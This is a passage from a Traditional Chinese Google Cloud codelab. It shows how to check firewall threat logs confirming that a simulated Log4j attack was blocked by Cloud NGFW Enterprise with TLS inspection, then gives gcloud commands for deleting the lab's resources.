前往 Logging >透過 Cloud 控制台的「記錄檔探索工具」輸入篩選條件並查詢記錄檔。將 [PROJECT_ID] 替換為您的專案 ID:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 記錄項目應如下所示:

5b68cc1063c0f4bd.png

展開記錄項目,並留意從用戶端 VM 傳送至伺服器的攻擊已被識別並封鎖 (如下方螢幕截圖所示的 Apache Log4j 遠端程式碼執行安全漏洞)。

478f18f8481e90ed.png

您已成功部署具備 TLS 檢查功能的 Cloud NGFW Enterprise 來封鎖惡意要求。

請前往下一節瞭解清除步驟。

14. 清除步驟

清除基礎設定

移除執行個體:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果 tagAdmin 和 tagUsers 角色有所變更,請執行下列步驟:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除標記鍵和值:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

移除 Cloud Firewall 網路政策和關聯:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

刪除 Cloud Router 和 Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

刪除保留的 IP 位址:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、關聯和 TLS 清理

按照下列順序刪除安全性設定檔群組和威脅設定檔:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

刪除 Cloud Firewall 端點關聯:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

刪除 Cloud Firewall 端點,這項作業大約需要 20 分鐘才能完成:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

您也可以執行下列指令,確認 Cloud NGFW 端點已刪除:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端點的狀態應會顯示:

STATE: DELETING

完成後,端點就不會再列出。

請按照以下順序刪除 TLS 政策和信任設定:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

停用並刪除根 CA 和 CA 集區:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

子網路和虛擬私有雲清理

最後,刪除子網路和虛擬私有雲網路:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 恭喜!

恭喜,您已成功完成 Cloud NGFW Enterprise for East-West 和 Northbound TLS 檢查程式碼研究室。